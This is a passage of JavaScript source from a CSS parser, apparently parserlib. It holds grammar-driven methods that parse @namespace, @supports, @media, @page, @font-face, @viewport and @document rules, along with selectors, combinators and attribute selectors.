1033 tokenStream.mustMatch(Tokens.SEMICOLON);
1034 this._readWhitespace();
1035
1036 if (emit !== false) {
1037 this.fire({
1038 type: "import",
1039 uri: uri,
1040 media: mediaList,
1041 line: importToken.startLine,
1042 col: importToken.startCol
1043 });
1044 }
1045
1046 },
1047
1048 _namespace: function(emit) {
1049 /*
1050 * namespace
1051 * : NAMESPACE_SYM S* [namespace_prefix S*]? [STRING|URI] S* ';' S*
1052 */
1053
1054 var tokenStream = this._tokenStream,
1055 line,
1056 col,
1057 prefix,
1058 uri;
1059
1060 //read import symbol
1061 tokenStream.mustMatch(Tokens.NAMESPACE_SYM);
1062 line = tokenStream.token().startLine;
1063 col = tokenStream.token().startCol;
1064 this._readWhitespace();
1065
1066 //it's a namespace prefix - no _namespace_prefix() method because it's just an IDENT
1067 if (tokenStream.match(Tokens.IDENT)) {
1068 prefix = tokenStream.token().value;
1069 this._readWhitespace();
1070 }
1071
1072 tokenStream.mustMatch([Tokens.STRING, Tokens.URI]);
1073 /*if (!tokenStream.match(Tokens.STRING)){
1074 tokenStream.mustMatch(Tokens.URI);
1075 }*/
1076
1077 //grab the URI value
1078 uri = tokenStream.token().value.replace(/(?:url\()?["']([^"']+)["']\)?/, "$1");
1079
1080 this._readWhitespace();
1081
1082 //must end with a semicolon
1083 tokenStream.mustMatch(Tokens.SEMICOLON);
1084 this._readWhitespace();
1085
1086 if (emit !== false) {
1087 this.fire({
1088 type: "namespace",
1089 prefix: prefix,
1090 uri: uri,
1091 line: line,
1092 col: col
1093 });
1094 }
1095
1096 },
1097
1098 _supports: function(emit) {
1099 /*
1100 * supports_rule
1101 * : SUPPORTS_SYM S* supports_condition S* group_rule_body
1102 * ;
1103 */
1104 var tokenStream = this._tokenStream,
1105 line,
1106 col;
1107
1108 if (tokenStream.match(Tokens.SUPPORTS_SYM)) {
1109 line = tokenStream.token().startLine;
1110 col = tokenStream.token().startCol;
1111
1112 this._readWhitespace();
1113 this._supports_condition();
1114 this._readWhitespace();
1115
1116 tokenStream.mustMatch(Tokens.LBRACE);
1117 this._readWhitespace();
1118
1119 if (emit !== false) {
1120 this.fire({
1121 type: "startsupports",
1122 line: line,
1123 col: col
1124 });
1125 }
1126
1127 while (true) {
1128 if (!this._ruleset()) {
1129 break;
1130 }
1131 }
1132
1133 tokenStream.mustMatch(Tokens.RBRACE);
1134 this._readWhitespace();
1135
1136 this.fire({
1137 type: "endsupports",
1138 line: line,
1139 col: col
1140 });
1141 }
1142 },
1143
1144 _supports_condition: function() {
1145 /*
1146 * supports_condition
1147 * : supports_negation | supports_conjunction | supports_disjunction |
1148 * supports_condition_in_parens
1149 * ;
1150 */
1151 var tokenStream = this._tokenStream,
1152 ident;
1153
1154 if (tokenStream.match(Tokens.IDENT)) {
1155 ident = tokenStream.token().value.toLowerCase();
1156
1157 if (ident === "not") {
1158 tokenStream.mustMatch(Tokens.S);
1159 this._supports_condition_in_parens();
1160 } else {
1161 tokenStream.unget();
1162 }
1163 } else {
1164 this._supports_condition_in_parens();
1165 this._readWhitespace();
1166
1167 while (tokenStream.peek() === Tokens.IDENT) {
1168 ident = tokenStream.LT(1).value.toLowerCase();
1169 if (ident === "and" || ident === "or") {
1170 tokenStream.mustMatch(Tokens.IDENT);
1171 this._readWhitespace();
1172 this._supports_condition_in_parens();
1173 this._readWhitespace();
1174 }
1175 }
1176 }
1177 },
1178
1179 _supports_condition_in_parens: function() {
1180 /*
1181 * supports_condition_in_parens
1182 * : ( '(' S* supports_condition S* ')' ) | supports_declaration_condition |
1183 * general_enclosed
1184 * ;
1185 */
1186 var tokenStream = this._tokenStream,
1187 ident;
1188
1189 if (tokenStream.match(Tokens.LPAREN)) {
1190 this._readWhitespace();
1191 if (tokenStream.match(Tokens.IDENT)) {
1192 // look ahead for not keyword, if not given, continue with declaration condition.
1193 ident = tokenStream.token().value.toLowerCase();
1194 if (ident === "not") {
1195 this._readWhitespace();
1196 this._supports_condition();
1197 this._readWhitespace();
1198 tokenStream.mustMatch(Tokens.RPAREN);
1199 } else {
1200 tokenStream.unget();
1201 this._supports_declaration_condition(false);
1202 }
1203 } else {
1204 this._supports_condition();
1205 this._readWhitespace();
1206 tokenStream.mustMatch(Tokens.RPAREN);
1207 }
1208 } else {
1209 this._supports_declaration_condition();
1210 }
1211 },
1212
1213 _supports_declaration_condition: function(requireStartParen) {
1214 /*
1215 * supports_declaration_condition
1216 * : '(' S* declaration ')'
1217 * ;
1218 */
1219 var tokenStream = this._tokenStream;
1220
1221 if (requireStartParen !== false) {
1222 tokenStream.mustMatch(Tokens.LPAREN);
1223 }
1224 this._readWhitespace();
1225 this._declaration();
1226 tokenStream.mustMatch(Tokens.RPAREN);
1227 },
1228
1229 _media: function() {
1230 /*
1231 * media
1232 * : MEDIA_SYM S* media_query_list S* '{' S* ruleset* '}' S*
1233 * ;
1234 */
1235 var tokenStream = this._tokenStream,
1236 line,
1237 col,
1238 mediaList;// = [];
1239
1240 //look for @media
1241 tokenStream.mustMatch(Tokens.MEDIA_SYM);
1242 line = tokenStream.token().startLine;
1243 col = tokenStream.token().startCol;
1244
1245 this._readWhitespace();
1246
1247 mediaList = this._media_query_list();
1248
1249 tokenStream.mustMatch(Tokens.LBRACE);
1250 this._readWhitespace();
1251
1252 this.fire({
1253 type: "startmedia",
1254 media: mediaList,
1255 line: line,
1256 col: col
1257 });
1258
1259 while (true) {
1260 if (tokenStream.peek() === Tokens.PAGE_SYM) {
1261 this._page();
1262 } else if (tokenStream.peek() === Tokens.FONT_FACE_SYM) {
1263 this._font_face();
1264 } else if (tokenStream.peek() === Tokens.VIEWPORT_SYM) {
1265 this._viewport();
1266 } else if (tokenStream.peek() === Tokens.DOCUMENT_SYM) {
1267 this._document();
1268 } else if (tokenStream.peek() === Tokens.SUPPORTS_SYM) {
1269 this._supports();
1270 } else if (tokenStream.peek() === Tokens.MEDIA_SYM) {
1271 this._media();
1272 } else if (!this._ruleset()) {
1273 break;
1274 }
1275 }
1276
1277 tokenStream.mustMatch(Tokens.RBRACE);
1278 this._readWhitespace();
1279
1280 this.fire({
1281 type: "endmedia",
1282 media: mediaList,
1283 line: line,
1284 col: col
1285 });
1286 },
1287
1288
1289 //CSS3 Media Queries
1290 _media_query_list: function() {
1291 /*
1292 * media_query_list
1293 * : S* [media_query [ ',' S* media_query ]* ]?
1294 * ;
1295 */
1296 var tokenStream = this._tokenStream,
1297 mediaList = [];
1298
1299
1300 this._readWhitespace();
1301
1302 if (tokenStream.peek() === Tokens.IDENT || tokenStream.peek() === Tokens.LPAREN) {
1303 mediaList.push(this._media_query());
1304 }
1305
1306 while (tokenStream.match(Tokens.COMMA)) {
1307 this._readWhitespace();
1308 mediaList.push(this._media_query());
1309 }
1310
1311 return mediaList;
1312 },
1313
1314 /*
1315 * Note: "expression" in the grammar maps to the _media_expression
1316 * method.
1317
1318 */
1319 _media_query: function() {
1320 /*
1321 * media_query
1322 * : [ONLY | NOT]? S* media_type S* [ AND S* expression ]*
1323 * | expression [ AND S* expression ]*
1324 * ;
1325 */
1326 var tokenStream = this._tokenStream,
1327 type = null,
1328 ident = null,
1329 token = null,
1330 expressions = [];
1331
1332 if (tokenStream.match(Tokens.IDENT)) {
1333 ident = tokenStream.token().value.toLowerCase();
1334
1335 //since there's no custom tokens for these, need to manually check
1336 if (ident !== "only" && ident !== "not") {
1337 tokenStream.unget();
1338 ident = null;
1339 } else {
1340 token = tokenStream.token();
1341 }
1342 }
1343
1344 this._readWhitespace();
1345
1346 if (tokenStream.peek() === Tokens.IDENT) {
1347 type = this._media_type();
1348 if (token === null) {
1349 token = tokenStream.token();
1350 }
1351 } else if (tokenStream.peek() === Tokens.LPAREN) {
1352 if (token === null) {
1353 token = tokenStream.LT(1);
1354 }
1355 expressions.push(this._media_expression());
1356 }
1357
1358 if (type === null && expressions.length === 0) {
1359 return null;
1360 } else {
1361 this._readWhitespace();
1362 while (tokenStream.match(Tokens.IDENT)) {
1363 if (tokenStream.token().value.toLowerCase() !== "and") {
1364 this._unexpectedToken(tokenStream.token());
1365 }
1366
1367 this._readWhitespace();
1368 expressions.push(this._media_expression());
1369 }
1370 }
1371
1372 return new MediaQuery(ident, type, expressions, token.startLine, token.startCol);
1373 },
1374
1375 //CSS3 Media Queries
1376 _media_type: function() {
1377 /*
1378 * media_type
1379 * : IDENT
1380 * ;
1381 */
1382 return this._media_feature();
1383 },
1384
1385 /**
1386 * Note: in CSS3 Media Queries, this is called "expression".
1387 * Renamed here to avoid conflict with CSS3 Selectors
1388 * definition of "expression". Also note that "expr" in the
1389 * grammar now maps to "expression" from CSS3 selectors.
1390 * @method _media_expression
1391 * @private
1392 */
1393 _media_expression: function() {
1394 /*
1395 * expression
1396 * : '(' S* media_feature S* [ ':' S* expr ]? ')' S*
1397 * ;
1398 */
1399 var tokenStream = this._tokenStream,
1400 feature = null,
1401 token,
1402 expression = null;
1403
1404 tokenStream.mustMatch(Tokens.LPAREN);
1405
1406 feature = this._media_feature();
1407 this._readWhitespace();
1408
1409 if (tokenStream.match(Tokens.COLON)) {
1410 this._readWhitespace();
1411 token = tokenStream.LT(1);
1412 expression = this._expression();
1413 }
1414
1415 tokenStream.mustMatch(Tokens.RPAREN);
1416 this._readWhitespace();
1417
1418 return new MediaFeature(feature, expression ? new SyntaxUnit(expression, token.startLine, token.startCol) : null);
1419 },
1420
1421 //CSS3 Media Queries
1422 _media_feature: function() {
1423 /*
1424 * media_feature
1425 * : IDENT
1426 * ;
1427 */
1428 var tokenStream = this._tokenStream;
1429
1430 this._readWhitespace();
1431
1432 tokenStream.mustMatch(Tokens.IDENT);
1433
1434 return SyntaxUnit.fromToken(tokenStream.token());
1435 },
1436
1437 //CSS3 Paged Media
1438 _page: function() {
1439 /*
1440 * page:
1441 * PAGE_SYM S* IDENT? pseudo_page? S*
1442 * '{' S* [ declaration | margin ]? [ ';' S* [ declaration | margin ]? ]* '}' S*
1443 * ;
1444 */
1445 var tokenStream = this._tokenStream,
1446 line,
1447 col,
1448 identifier = null,
1449 pseudoPage = null;
1450
1451 //look for @page
1452 tokenStream.mustMatch(Tokens.PAGE_SYM);
1453 line = tokenStream.token().startLine;
1454 col = tokenStream.token().startCol;
1455
1456 this._readWhitespace();
1457
1458 if (tokenStream.match(Tokens.IDENT)) {
1459 identifier = tokenStream.token().value;
1460
1461 //The value 'auto' may not be used as a page name and MUST be treated as a syntax error.
1462 if (identifier.toLowerCase() === "auto") {
1463 this._unexpectedToken(tokenStream.token());
1464 }
1465 }
1466
1467 //see if there's a colon upcoming
1468 if (tokenStream.peek() === Tokens.COLON) {
1469 pseudoPage = this._pseudo_page();
1470 }
1471
1472 this._readWhitespace();
1473
1474 this.fire({
1475 type: "startpage",
1476 id: identifier,
1477 pseudo: pseudoPage,
1478 line: line,
1479 col: col
1480 });
1481
1482 this._readDeclarations(true, true);
1483
1484 this.fire({
1485 type: "endpage",
1486 id: identifier,
1487 pseudo: pseudoPage,
1488 line: line,
1489 col: col
1490 });
1491
1492 },
1493
1494 //CSS3 Paged Media
1495 _margin: function() {
1496 /*
1497 * margin :
1498 * margin_sym S* '{' declaration [ ';' S* declaration? ]* '}' S*
1499 * ;
1500 */
1501 var tokenStream = this._tokenStream,
1502 line,
1503 col,
1504 marginSym = this._margin_sym();
1505
1506 if (marginSym) {
1507 line = tokenStream.token().startLine;
1508 col = tokenStream.token().startCol;
1509
1510 this.fire({
1511 type: "startpagemargin",
1512 margin: marginSym,
1513 line: line,
1514 col: col
1515 });
1516
1517 this._readDeclarations(true);
1518
1519 this.fire({
1520 type: "endpagemargin",
1521 margin: marginSym,
1522 line: line,
1523 col: col
1524 });
1525 return true;
1526 } else {
1527 return false;
1528 }
1529 },
1530
1531 //CSS3 Paged Media
1532 _margin_sym: function() {
1533
1534 /*
1535 * margin_sym :
1536 * TOPLEFTCORNER_SYM |
1537 * TOPLEFT_SYM |
1538 * TOPCENTER_SYM |
1539 * TOPRIGHT_SYM |
1540 * TOPRIGHTCORNER_SYM |
1541 * BOTTOMLEFTCORNER_SYM |
1542 * BOTTOMLEFT_SYM |
1543 * BOTTOMCENTER_SYM |
1544 * BOTTOMRIGHT_SYM |
1545 * BOTTOMRIGHTCORNER_SYM |
1546 * LEFTTOP_SYM |
1547 * LEFTMIDDLE_SYM |
1548 * LEFTBOTTOM_SYM |
1549 * RIGHTTOP_SYM |
1550 * RIGHTMIDDLE_SYM |
1551 * RIGHTBOTTOM_SYM
1552 * ;
1553 */
1554
1555 var tokenStream = this._tokenStream;
1556
1557 if (tokenStream.match([Tokens.TOPLEFTCORNER_SYM, Tokens.TOPLEFT_SYM,
1558 Tokens.TOPCENTER_SYM, Tokens.TOPRIGHT_SYM, Tokens.TOPRIGHTCORNER_SYM,
1559 Tokens.BOTTOMLEFTCORNER_SYM, Tokens.BOTTOMLEFT_SYM,
1560 Tokens.BOTTOMCENTER_SYM, Tokens.BOTTOMRIGHT_SYM,
1561 Tokens.BOTTOMRIGHTCORNER_SYM, Tokens.LEFTTOP_SYM,
1562 Tokens.LEFTMIDDLE_SYM, Tokens.LEFTBOTTOM_SYM, Tokens.RIGHTTOP_SYM,
1563 Tokens.RIGHTMIDDLE_SYM, Tokens.RIGHTBOTTOM_SYM])) {
1564 return SyntaxUnit.fromToken(tokenStream.token());
1565 } else {
1566 return null;
1567 }
1568
1569 },
1570
1571 _pseudo_page: function() {
1572 /*
1573 * pseudo_page
1574 * : ':' IDENT
1575 * ;
1576 */
1577
1578 var tokenStream = this._tokenStream;
1579
1580 tokenStream.mustMatch(Tokens.COLON);
1581 tokenStream.mustMatch(Tokens.IDENT);
1582
1583 //TODO: CSS3 Paged Media says only "left", "center", and "right" are allowed
1584
1585 return tokenStream.token().value;
1586 },
1587
1588 _font_face: function() {
1589 /*
1590 * font_face
1591 * : FONT_FACE_SYM S*
1592 * '{' S* declaration [ ';' S* declaration ]* '}' S*
1593 * ;
1594 */
1595 var tokenStream = this._tokenStream,
1596 line,
1597 col;
1598
1599 //look for @page
1600 tokenStream.mustMatch(Tokens.FONT_FACE_SYM);
1601 line = tokenStream.token().startLine;
1602 col = tokenStream.token().startCol;
1603
1604 this._readWhitespace();
1605
1606 this.fire({
1607 type: "startfontface",
1608 line: line,
1609 col: col
1610 });
1611
1612 this._readDeclarations(true);
1613
1614 this.fire({
1615 type: "endfontface",
1616 line: line,
1617 col: col
1618 });
1619 },
1620
1621 _viewport: function() {
1622 /*
1623 * viewport
1624 * : VIEWPORT_SYM S*
1625 * '{' S* declaration? [ ';' S* declaration? ]* '}' S*
1626 * ;
1627 */
1628 var tokenStream = this._tokenStream,
1629 line,
1630 col;
1631
1632 tokenStream.mustMatch(Tokens.VIEWPORT_SYM);
1633 line = tokenStream.token().startLine;
1634 col = tokenStream.token().startCol;
1635
1636 this._readWhitespace();
1637
1638 this.fire({
1639 type: "startviewport",
1640 line: line,
1641 col: col
1642 });
1643
1644 this._readDeclarations(true);
1645
1646 this.fire({
1647 type: "endviewport",
1648 line: line,
1649 col: col
1650 });
1651
1652 },
1653
1654 _document: function() {
1655 /*
1656 * document
1657 * : DOCUMENT_SYM S*
1658 * _document_function [ ',' S* _document_function ]* S*
1659 * '{' S* ruleset* '}'
1660 * ;
1661 */
1662
1663 var tokenStream = this._tokenStream,
1664 token,
1665 functions = [],
1666 prefix = "";
1667
1668 tokenStream.mustMatch(Tokens.DOCUMENT_SYM);
1669 token = tokenStream.token();
1670 if (/^@\-([^\-]+)\-/.test(token.value)) {
1671 prefix = RegExp.$1;
1672 }
1673
1674 this._readWhitespace();
1675 functions.push(this._document_function());
1676
1677 while (tokenStream.match(Tokens.COMMA)) {
1678 this._readWhitespace();
1679 functions.push(this._document_function());
1680 }
1681
1682 tokenStream.mustMatch(Tokens.LBRACE);
1683 this._readWhitespace();
1684
1685 this.fire({
1686 type: "startdocument",
1687 functions: functions,
1688 prefix: prefix,
1689 line: token.startLine,
1690 col: token.startCol
1691 });
1692
1693 var ok = true;
1694 while (ok) {
1695 switch (tokenStream.peek()) {
1696 case Tokens.PAGE_SYM:
1697 this._page();
1698 break;
1699 case Tokens.FONT_FACE_SYM:
1700 this._font_face();
1701 break;
1702 case Tokens.VIEWPORT_SYM:
1703 this._viewport();
1704 break;
1705 case Tokens.MEDIA_SYM:
1706 this._media();
1707 break;
1708 case Tokens.KEYFRAMES_SYM:
1709 this._keyframes();
1710 break;
1711 case Tokens.DOCUMENT_SYM:
1712 this._document();
1713 break;
1714 default:
1715 ok = Boolean(this._ruleset());
1716 }
1717 }
1718
1719 tokenStream.mustMatch(Tokens.RBRACE);
1720 token = tokenStream.token();
1721 this._readWhitespace();
1722
1723 this.fire({
1724 type: "enddocument",
1725 functions: functions,
1726 prefix: prefix,
1727 line: token.startLine,
1728 col: token.startCol
1729 });
1730 },
1731
1732 _document_function: function() {
1733 /*
1734 * document_function
1735 * : function | URI S*
1736 * ;
1737 */
1738
1739 var tokenStream = this._tokenStream,
1740 value;
1741
1742 if (tokenStream.match(Tokens.URI)) {
1743 value = tokenStream.token().value;
1744 this._readWhitespace();
1745 } else {
1746 value = this._function();
1747 }
1748
1749 return value;
1750 },
1751
1752 _operator: function(inFunction) {
1753
1754 /*
1755 * operator (outside function)
1756 * : '/' S* | ',' S* | /( empty )/
1757 * operator (inside function)
1758 * : '/' S* | '+' S* | '*' S* | '-' S* /( empty )/
1759 * ;
1760 */
1761
1762 var tokenStream = this._tokenStream,
1763 token = null;
1764
1765 if (tokenStream.match([Tokens.SLASH, Tokens.COMMA]) ||
1766 (inFunction && tokenStream.match([Tokens.PLUS, Tokens.STAR, Tokens.MINUS]))) {
1767 token = tokenStream.token();
1768 this._readWhitespace();
1769 }
1770 return token ? PropertyValuePart.fromToken(token) : null;
1771
1772 },
1773
1774 _combinator: function() {
1775
1776 /*
1777 * combinator
1778 * : PLUS S* | GREATER S* | TILDE S* | S+
1779 * ;
1780 */
1781
1782 var tokenStream = this._tokenStream,
1783 value = null,
1784 token;
1785
1786 if (tokenStream.match([Tokens.PLUS, Tokens.GREATER, Tokens.TILDE])) {
1787 token = tokenStream.token();
1788 value = new Combinator(token.value, token.startLine, token.startCol);
1789 this._readWhitespace();
1790 }
1791
1792 return value;
1793 },
1794
1795 _unary_operator: function() {
1796
1797 /*
1798 * unary_operator
1799 * : '-' | '+'
1800 * ;
1801 */
1802
1803 var tokenStream = this._tokenStream;
1804
1805 if (tokenStream.match([Tokens.MINUS, Tokens.PLUS])) {
1806 return tokenStream.token().value;
1807 } else {
1808 return null;
1809 }
1810 },
1811
1812 _property: function() {
1813
1814 /*
1815 * property
1816 * : IDENT S*
1817 * ;
1818 */
1819
1820 var tokenStream = this._tokenStream,
1821 value = null,
1822 hack = null,
1823 tokenValue,
1824 token,
1825 line,
1826 col;
1827
1828 //check for star hack - throws error if not allowed
1829 if (tokenStream.peek() === Tokens.STAR && this.options.starHack) {
1830 tokenStream.get();
1831 token = tokenStream.token();
1832 hack = token.value;
1833 line = token.startLine;
1834 col = token.startCol;
1835 }
1836
1837 if (tokenStream.match(Tokens.IDENT)) {
1838 token = tokenStream.token();
1839 tokenValue = token.value;
1840
1841 //check for underscore hack - no error if not allowed because it's valid CSS syntax
1842 if (tokenValue.charAt(0) === "_" && this.options.underscoreHack) {
1843 hack = "_";
1844 tokenValue = tokenValue.substring(1);
1845 }
1846
1847 value = new PropertyName(tokenValue, hack, (line||token.startLine), (col||token.startCol));
1848 this._readWhitespace();
1849 }
1850
1851 return value;
1852 },
1853
1854 //Augmented with CSS3 Selectors
1855 _ruleset: function() {
1856 /*
1857 * ruleset
1858 * : selectors_group
1859 * '{' S* declaration? [ ';' S* declaration? ]* '}' S*
1860 * ;
1861 */
1862
1863 var tokenStream = this._tokenStream,
1864 tt,
1865 selectors;
1866
1867
1868 /*
1869 * Error Recovery: If even a single selector fails to parse,
1870 * then the entire ruleset should be thrown away.
1871 */
1872 try {
1873 selectors = this._selectors_group();
1874 } catch (ex) {
1875 if (ex instanceof SyntaxError && !this.options.strict) {
1876
1877 //fire error event
1878 this.fire({
1879 type: "error",
1880 error: ex,
1881 message: ex.message,
1882 line: ex.line,
1883 col: ex.col
1884 });
1885
1886 //skip over everything until closing brace
1887 tt = tokenStream.advance([Tokens.RBRACE]);
1888 if (tt === Tokens.RBRACE) {
1889 //if there's a right brace, the rule is finished so don't do anything
1890 } else {
1891 //otherwise, rethrow the error because it wasn't handled properly
1892 throw ex;
1893 }
1894
1895 } else {
1896 //not a syntax error, rethrow it
1897 throw ex;
1898 }
1899
1900 //trigger parser to continue
1901 return true;
1902 }
1903
1904 //if it got here, all selectors parsed
1905 if (selectors) {
1906
1907 this.fire({
1908 type: "startrule",
1909 selectors: selectors,
1910 line: selectors[0].line,
1911 col: selectors[0].col
1912 });
1913
1914 this._readDeclarations(true);
1915
1916 this.fire({
1917 type: "endrule",
1918 selectors: selectors,
1919 line: selectors[0].line,
1920 col: selectors[0].col
1921 });
1922
1923 }
1924
1925 return selectors;
1926
1927 },
1928
1929 //CSS3 Selectors
1930 _selectors_group: function() {
1931
1932 /*
1933 * selectors_group
1934 * : selector [ COMMA S* selector ]*
1935 * ;
1936 */
1937 var tokenStream = this._tokenStream,
1938 selectors = [],
1939 selector;
1940
1941 selector = this._selector();
1942 if (selector !== null) {
1943
1944 selectors.push(selector);
1945 while (tokenStream.match(Tokens.COMMA)) {
1946 this._readWhitespace();
1947 selector = this._selector();
1948 if (selector !== null) {
1949 selectors.push(selector);
1950 } else {
1951 this._unexpectedToken(tokenStream.LT(1));
1952 }
1953 }
1954 }
1955
1956 return selectors.length ? selectors : null;
1957 },
1958
1959 //CSS3 Selectors
1960 _selector: function() {
1961 /*
1962 * selector
1963 * : simple_selector_sequence [ combinator simple_selector_sequence ]*
1964 * ;
1965 */
1966
1967 var tokenStream = this._tokenStream,
1968 selector = [],
1969 nextSelector = null,
1970 combinator = null,
1971 ws = null;
1972
1973 //if there's no simple selector, then there's no selector
1974 nextSelector = this._simple_selector_sequence();
1975 if (nextSelector === null) {
1976 return null;
1977 }
1978
1979 selector.push(nextSelector);
1980
1981 do {
1982
1983 //look for a combinator
1984 combinator = this._combinator();
1985
1986 if (combinator !== null) {
1987 selector.push(combinator);
1988 nextSelector = this._simple_selector_sequence();
1989
1990 //there must be a next selector
1991 if (nextSelector === null) {
1992 this._unexpectedToken(tokenStream.LT(1));
1993 } else {
1994
1995 //nextSelector is an instance of SelectorPart
1996 selector.push(nextSelector);
1997 }
1998 } else {
1999
2000 //if there's not whitespace, we're done
2001 if (this._readWhitespace()) {
2002
2003 //add whitespace separator
2004 ws = new Combinator(tokenStream.token().value, tokenStream.token().startLine, tokenStream.token().startCol);
2005
2006 //combinator is not required
2007 combinator = this._combinator();
2008
2009 //selector is required if there's a combinator
2010 nextSelector = this._simple_selector_sequence();
2011 if (nextSelector === null) {
2012 if (combinator !== null) {
2013 this._unexpectedToken(tokenStream.LT(1));
2014 }
2015 } else {
2016
2017 if (combinator !== null) {
2018 selector.push(combinator);
2019 } else {
2020 selector.push(ws);
2021 }
2022
2023 selector.push(nextSelector);
2024 }
2025 } else {
2026 break;
2027 }
2028
2029 }
2030 } while (true);
2031
2032 return new Selector(selector, selector[0].line, selector[0].col);
2033 },
2034
2035 //CSS3 Selectors
2036 _simple_selector_sequence: function() {
2037 /*
2038 * simple_selector_sequence
2039 * : [ type_selector | universal ]
2040 * [ HASH | class | attrib | pseudo | negation ]*
2041 * | [ HASH | class | attrib | pseudo | negation ]+
2042 * ;
2043 */
2044
2045 var tokenStream = this._tokenStream,
2046
2047 //parts of a simple selector
2048 elementName = null,
2049 modifiers = [],
2050
2051 //complete selector text
2052 selectorText= "",
2053
2054 //the different parts after the element name to search for
2055 components = [
2056 //HASH
2057 function() {
2058 return tokenStream.match(Tokens.HASH) ?
2059 new SelectorSubPart(tokenStream.token().value, "id", tokenStream.token().startLine, tokenStream.token().startCol) :
2060 null;
2061 },
2062 this._class,
2063 this._attrib,
2064 this._pseudo,
2065 this._negation
2066 ],
2067 i = 0,
2068 len = components.length,
2069 component = null,
2070 line,
2071 col;
2072
2073
2074 //get starting line and column for the selector
2075 line = tokenStream.LT(1).startLine;
2076 col = tokenStream.LT(1).startCol;
2077
2078 elementName = this._type_selector();
2079 if (!elementName) {
2080 elementName = this._universal();
2081 }
2082
2083 if (elementName !== null) {
2084 selectorText += elementName;
2085 }
2086
2087 while (true) {
2088
2089 //whitespace means we're done
2090 if (tokenStream.peek() === Tokens.S) {
2091 break;
2092 }
2093
2094 //check for each component
2095 while (i < len && component === null) {
2096 component = components[i++].call(this);
2097 }
2098
2099 if (component === null) {
2100
2101 //we don't have a selector
2102 if (selectorText === "") {
2103 return null;
2104 } else {
2105 break;
2106 }
2107 } else {
2108 i = 0;
2109 modifiers.push(component);
2110 selectorText += component.toString();
2111 component = null;
2112 }
2113 }
2114
2115
2116 return selectorText !== "" ?
2117 new SelectorPart(elementName, modifiers, selectorText, line, col) :
2118 null;
2119 },
2120
2121 //CSS3 Selectors
2122 _type_selector: function() {
2123 /*
2124 * type_selector
2125 * : [ namespace_prefix ]? element_name
2126 * ;
2127 */
2128
2129 var tokenStream = this._tokenStream,
2130 ns = this._namespace_prefix(),
2131 elementName = this._element_name();
2132
2133 if (!elementName) {
2134 /*
2135 * Need to back out the namespace that was read due to both
2136 * type_selector and universal reading namespace_prefix
2137 * first. Kind of hacky, but only way I can figure out
2138 * right now how to not change the grammar.
2139 */
2140 if (ns) {
2141 tokenStream.unget();
2142 if (ns.length > 1) {
2143 tokenStream.unget();
2144 }
2145 }
2146
2147 return null;
2148 } else {
2149 if (ns) {
2150 elementName.text = ns + elementName.text;
2151 elementName.col -= ns.length;
2152 }
2153 return elementName;
2154 }
2155 },
2156
2157 //CSS3 Selectors
2158 _class: function() {
2159 /*
2160 * class
2161 * : '.' IDENT
2162 * ;
2163 */
2164
2165 var tokenStream = this._tokenStream,
2166 token;
2167
2168 if (tokenStream.match(Tokens.DOT)) {
2169 tokenStream.mustMatch(Tokens.IDENT);
2170 token = tokenStream.token();
2171 return new SelectorSubPart("." + token.value, "class", token.startLine, token.startCol - 1);
2172 } else {
2173 return null;
2174 }
2175
2176 },
2177
2178 //CSS3 Selectors
2179 _element_name: function() {
2180 /*
2181 * element_name
2182 * : IDENT
2183 * ;
2184 */
2185
2186 var tokenStream = this._tokenStream,
2187 token;
2188
2189 if (tokenStream.match(Tokens.IDENT)) {
2190 token = tokenStream.token();
2191 return new SelectorSubPart(token.value, "elementName", token.startLine, token.startCol);
2192
2193 } else {
2194 return null;
2195 }
2196 },
2197
2198 //CSS3 Selectors
2199 _namespace_prefix: function() {
2200 /*
2201 * namespace_prefix
2202 * : [ IDENT | '*' ]? '|'
2203 * ;
2204 */
2205 var tokenStream = this._tokenStream,
2206 value = "";
2207
2208 //verify that this is a namespace prefix
2209 if (tokenStream.LA(1) === Tokens.PIPE || tokenStream.LA(2) === Tokens.PIPE) {
2210
2211 if (tokenStream.match([Tokens.IDENT, Tokens.STAR])) {
2212 value += tokenStream.token().value;
2213 }
2214
2215 tokenStream.mustMatch(Tokens.PIPE);
2216 value += "|";
2217
2218 }
2219
2220 return value.length ? value : null;
2221 },
2222
2223 //CSS3 Selectors
2224 _universal: function() {
2225 /*
2226 * universal
2227 * : [ namespace_prefix ]? '*'
2228 * ;
2229 */
2230 var tokenStream = this._tokenStream,
2231 value = "",
2232 ns;
2233
2234 ns = this._namespace_prefix();
2235 if (ns) {
2236 value += ns;
2237 }
2238
2239 if (tokenStream.match(Tokens.STAR)) {
2240 value += "*";
2241 }
2242
2243 return value.length ? value : null;
2244
2245 },
2246
2247 //CSS3 Selectors
2248 _attrib: function() {
2249 /*
2250 * attrib
2251 * : '[' S* [ namespace_prefix ]? IDENT S*
2252 * [ [ PREFIXMATCH |
2253 * SUFFIXMATCH |
2254 * SUBSTRINGMATCH |
2255 * '=' |
2256 * INCLUDES |
2257 * DASHMATCH ] S* [ IDENT | STRING ] S*
2258 * ]? ']'
2259 * ;
2260 */
2261
2262 var tokenStream = this._tokenStream,
2263 value = null,
2264 ns,
2265 token;
2266
2267 if (tokenStream.match(Tokens.LBRACKET)) {
2268 token = tokenStream.token();
2269 value = token.value;
2270 value += this._readWhitespace();
2271
2272 ns = this._namespace_prefix();
2273
2274 if (ns) {
2275 value += ns;
2276 }
2277
2278 tokenStream.mustMatch(Tokens.IDENT);
2279 value += tokenStream.token().value;
2280 value += this._readWhitespace();
2281
2282 if (tokenStream.match([Tokens.PREFIXMATCH, Tokens.SUFFIXMATCH, Tokens.SUBSTRINGMATCH,
2283 Tokens.EQUALS, Tokens.INCLUDES, Tokens.DASHMATCH])) {
2284
2285 value += tokenStream.token().value;
2286 value += this._readWhitespace();
2287
2288 tokenStream.mustMatch([Tokens.IDENT, Tokens.STRING]);
2289 value += tokenStream.token().value;
2290 value += this._readWhitespace();
2291 }
2292
2293 tokenStream.mustMatch(Tokens.RBRACKET);
2294
2295 return new SelectorSubPart(value + "]", "attribute", token.startLine, token.startCol);
2296 } else {
2297 return null;
2298 }
2299 },
2300
2301 //CSS3 Selectors
2302 _pseudo: function() {
2303
2304 /*
2305 * pseudo
2306 * : ':' ':'? [ IDENT | functional_pseudo ]
2307 * ;
2308 */
2309
2310 var tokenStream = this._tokenStream,
2311 pseudo = null,
2312 colons = ":",
2313 line,
2314 col;
2315
2316 if (tokenStream.match(Tokens.COLON)) {
2317
2318 if (tokenStream.match(Tokens.COLON)) {
2319 colons += ":";
2320 }
2321
2322 if (tokenStream.match(Tokens.IDENT)) {
2323 pseudo = tokenStream.token().value;
2324 line = tokenStream.token().startLine;
2325 col = tokenStream.token().startCol - colons.length;
